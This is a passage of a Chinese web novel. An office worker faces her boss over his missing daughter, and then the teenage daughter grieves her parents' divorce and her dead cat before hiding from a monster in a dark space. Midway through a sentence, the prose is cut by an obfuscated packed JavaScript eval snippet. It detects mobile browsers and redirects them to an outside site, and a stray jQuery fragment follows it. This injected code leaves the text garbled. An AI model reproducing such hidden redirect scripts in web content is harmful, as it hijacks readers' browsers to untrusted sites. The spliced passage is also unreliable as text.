大家对此没什么太大的感想,毕竟打来打去也是神仙斗法,他们这些小虾米连个官都不算,最差也不过是被裁——那大家都还有2n保底呢! 不过很显然,这些人里不包括李岁荣,她要是被裁了……不管怎么看,她看起来都很像第一个被裁的那个!不要啊,现在家里又多了一个人吃饭呢! 思及此,李岁荣赶紧把最后两口玉米咽下去,张望了一眼虚掩的郑仁武的办公室门,小跑着去给郑仁武泡咖啡。 咖啡刚泡了一半,她刚打开一瓶新牛奶——公司新换了个牌子,而郑仁武喝咖啡要求只能倒10ml牛奶,她正在掂量10ml大概是多少——还没来得及倒进杯里。 郑仁武忽然大步流星地从她身后走过,头也没回地冲进自己的办公室,砰地一声关上了门。 李岁荣忐忑地回头看,同事们早就停止交谈,个个噤若寒蝉,用饱含同情的眼神看向她。 果然,下一秒,办公室里就传来郑仁武的喊声:“李岁荣?李岁荣到了吗?” 李岁荣手一抖,不小心倒了半杯奶进去,她也来不及再制作一杯,只好硬着头皮捧着这杯拿铁走进办公室。 刚踏进办公室,听到关上门那一声清脆的咔哒声,李岁荣忽然暗叫不好。 急着进来被骂,她连电脑都没带,到时候又要被喷工作态度不端正了! “老板……你的奶,噢不,你的咖啡……”她战战兢兢地把咖啡放在桌上,“您找我有什么事?” 出乎意料,郑仁武既没有在意咖啡,也没有在意她没带电脑。他紧紧皱着眉头,右手握成拳放在桌子上,凝视着李岁荣。 “小芯去找你了吗?周五不是你接走的她吗?”他说。 8. 郑欣芯 九月末的参城还是很热,这种热意是逐年加重的。 郑欣芯记得,她小时候的九月末并不是这样。 那时她才刚上小学,妈妈给她戴上绿领巾,告诉她从此以后她就是名光荣的小学生了。 小学生!这实在是太酷了,郑欣芯想,她必须作好带头作用,要保护幼儿园的小萝卜头们,也要向四年级、五年级的大哥哥大姐姐们学习。有机会的话,一定也要像邻居姐姐一样,成为红旗手,在操场上给大家讲话。 所以她对自己的要求很严格,过马路前必须要仔细观察有没有人需要帮助,地上如果有被人随意丢下的糖纸、塑料瓶,她都会急匆匆地跑去捡起来。爸爸会很嫌弃地制止她,她总是气鼓鼓地反驳—— “爸爸,我可是一名小学生呀!” 当然,郑欣芯对自己的学习成绩也非常认真,上课从不开小差,不和自己最好的朋友说小话,不管自己到底会不会这道题,也一定要把手举得最最高,所有老师都喜欢她,希望她能成为自己的课代表。 她到现在都很清楚地记得,老师教给大家一个成语:秋高气爽。说的是秋天万里无云,凉爽舒适的意思。 老师当时问大家,谁可以用秋高气爽造句呀?郑欣芯为了回答问题,急得差点从椅子上站起来。 “昨天我和妈妈、爸爸,还有汤圆一起去世纪公园郊游,真是一个秋高气爽好天气。”她如愿以偿被喊起来,大声地说出自己构思已久的答案。 老师听了她的话,一边表扬她,一边好奇地问,汤圆是谁? 汤圆是谁?汤圆是一只比她还要先出生,又懒又馋的大胖猫。 想到这里,郑欣芯忍不住把头埋在膝盖里,小声哭了起来。 十五岁的郑欣芯是个什么样的人?问老师,答案估计是“挺聪明的,但是学习不上心”。问同学,估计是“怪胎,每天神神秘秘的”。问她自己呢,只需要三个字:糟透了。 如果小学生郑欣芯看到现在的自己,大约会感到深刻的梦想破灭的痛苦。她既没有成为红旗手,也不可能在操场上对大家讲话,她幼时所有的期待和盼望,都在一场场无休止的争吵中化成了泡影。 她再也没有和家人一起出去郊游过,家渐渐从四个人,变成三个人,最后总是只剩下她和汤圆。 那是哪一天呢?她记得那天下了一场很大很大的雨,妈妈好像给爸爸打了电话,她在电话里说:“老公,今天雨下好大,你来接我好不好?” 爸爸正在打一个特效很酷炫的游戏,他没有手拿电话,索性开了最大声音的外放。伴随着“扑哧”、“哗——”这样的音效,他漫不经心地说:“你自己打个车呗,我忙着呢。” 新一场争吵就这样爆发了。 郑欣芯抱着汤圆坐在门后,默不作声地听着他们口不择言的怒骂。汤圆毛厚厚的,平时最讨厌人类抱她,亲她的脸和鼻子,她总是忍耐不了两分钟就会喵喵大叫。但那一天,汤圆乖乖让她抱了很久很久,久到她的眼泪把汤圆的毛都打湿了,也没有发出一声不满的哼唧。 那之后很长一段时间,她都没有再见过妈妈。 再次见到妈妈是一个早晨,郑欣芯吃完早饭正准备出门,门却自己先开了。 门外站着的是个踩着高跟鞋,戴着墨镜穿着风衣的女人。郑欣芯一看到她,就发出一阵欢呼。 “妈妈!”她兴高采烈,“你终于回来啦。” 妈妈于是对她招招手,把她拉来伸手摸摸她的脸蛋,又紧紧抱住她。 郑欣芯又高兴又不解,她静静享受了一会妈妈久违的怀抱,忽然想起早自习的事,小声提醒她。 “妈妈,”她说出一句让自己悔恨到今天的话,“我还要去上学呢。” 于是妈妈就放开了她,深深地看了她一眼。 那之后,她再也没看见过妈妈,他们离婚了。 最初郑欣芯很不习惯,她对离婚还没有一个很清晰的概念。难道一张纸,妈妈就不是妈妈了吗?妈妈永远是郑欣芯的妈妈啊,她问爸爸,爸爸下班了总是一个人默默喝酒,或者出去打麻将,从不正面回答她的问题。 她是过了很久很久,才从喝醉的爸爸嘴里知道妈妈的消息的。 “你妈妈,嗝,早把你忘光了,”爸爸躺在沙发上,“她出国了,现在估计都有新男朋友了吧。” 爸爸说完就睡着了。郑欣芯坐在地板上,一个人看了一晚上月亮。 “老师教过我们,”她扭头看着走进房间责怪她熬夜的汤圆,“但愿人长久,千里共婵娟。妈妈和我会看到同一个月亮吗?” 汤圆也不知道听懂没有,她走过来抬起小脑袋,瞪着圆溜溜的眼睛看着她,于是郑欣芯就像妈妈走之前对自己做的那样,摸摸她的头,紧紧地抱住了她。 日子就这样慢慢继续向前走,小学生郑欣芯变成了初中生郑欣芯,再过不久就要成为高中生——老师们对此表示怀疑——或者职高生郑欣芯。 那些幸福又甜蜜的日子已经逐渐远去,就像一个贯穿了童年的美梦,郑欣芯醒来了,于是也长大了。 其实这也没什么,她对自己说,也许以后赚了足够多的钱就可以去国外看看妈妈,虽然她不知道妈妈究竟在哪个国家,又也许妈妈玩够了,就回国继续生活了呢? 她就这样怀着这丝小小的希冀,和汤圆依偎着过日子。 除了给钱,爸爸几乎不过问她的生活,只是最近这段时间总有些治安不太好的风声,他就找了一个姐姐接她放学。 直到有一天她回到家,发现哪里都找不到汤圆了。 汤圆年纪已经很大,是一只很长寿的猫了。尤其是到了今年,汤圆连最喜欢的玩具球也捉不动,每天几乎从早睡到晚上,只偶尔看心情来迎接郑欣芯回家。 郑欣芯明白,汤圆也许也要离开她了,也许是明天,也许是下一秒。 她加倍小心,把所有汤圆爱吃或者不爱吃但是对她身体有好处的东西都买来轮换着喂,有时候汤圆会控制不住地失禁,她也只是默默地收拾好一切,然后把自己关在厕所偷偷哭。 至少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908291|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……至少不能再让汤圆为自己担心了。 她这样想着,只贪心地想要多留住汤圆多一会儿,再多一会儿。 她把家里一口气翻了个底朝天,但就是没有汤圆的踪迹,无奈之下只好求助于家里唯一的成年人。 “爸爸,你今天回家了吗?汤圆不见了,是不是门没关好跑掉了?” “啊……”爸爸的声音从话筒里传出来,显得有些陌生,“我今天上午回家了一趟,发现汤圆已经走了。” 爸爸说。 郑欣芯只觉得天旋地转。 接下来发生的一切都让她有一种不真实感,汤圆怎么会一个人偷偷离开呢?她明明和汤圆说好了要送她最后一程,汤圆还用自己湿漉漉的小鼻子碰了碰她的,这难道不是最可靠的约定吗? 爸爸还说要再买一只猫陪她,这怎么可以呢?别的猫都不是汤圆了呀!就算再买一千只一万只一模一样的猫,可那些也都不是汤圆了啊!就算他们也会用自己的小鼻子亲亲她,也会忍耐着脾气让她抱着大哭,可是他们没有一起经历过那些好的坏的事,没有和爸爸妈妈一起去过世纪公园,一起扑过不知道从哪逃进来的蟑螂,他们怎么可以替代汤圆呢?! 但是爸爸很忙,他没有时间开导郑欣芯,没有时间陪她走出失去家人的痛苦,他只是轻飘飘地扔下一句:“别哭了,下周带你去猫舍看看,你挑一只血统更名贵的,亲人。” 他就这样又一次消失在郑欣芯的生活中了。 郑欣芯在家里哭了一个晚上,终于握着手机暗暗下定了决心。 “哗啦——”好像是什么摩擦水泥地的声音,这声音很微弱,但郑欣芯的精神一直紧绷着,立刻就被唤回了现实。 此时此刻,她正躲在几个巨大的水泥袋后面,水泥袋和墙角围成一个绝佳的视觉盲区,她已经在这里躲了好一会了。 “爱哭鼻子的小女孩,”她听到一个沙哑粗粝的男声,“这么喜欢玩捉迷藏吗?” 那个声音好像更近了……她吓得屏住呼吸,蜷起膝盖压低肩膀,死死地捏住自己的脚,尽可能把自己缩成一团。 咚咚—— 不要呼吸,忍住,就像之前一样,他一会就会离开。心跳快得就像要从嘴里跳出来,她催眠似的对自己说。 咚—— 她莫名其妙被带到这里已经过了相当一段时间了,除了偶尔从不知道哪个角落里透出的一缕光线,这里百分之九十的地方都一片漆黑,令她完全无法判断时间。 咚咚—— 她没有方向,也不能保持长时间移动,因为有一个怪物正在四处抓捕她。也许是怪物,或者是别的什么,她从来没有清晰地看见过它,只知道它靠近时能听到沉重的脚步声和金属摩擦水泥的声音。 咚—— 想到这里,她忽然意识到那个声音似乎有段时间没有继续响起了,这里静得就像只有她的心脏还活着。 怪物……走了吗? 她轻轻地深呼吸一口,微微向前将眼睛贴在水泥袋间的缝隙里。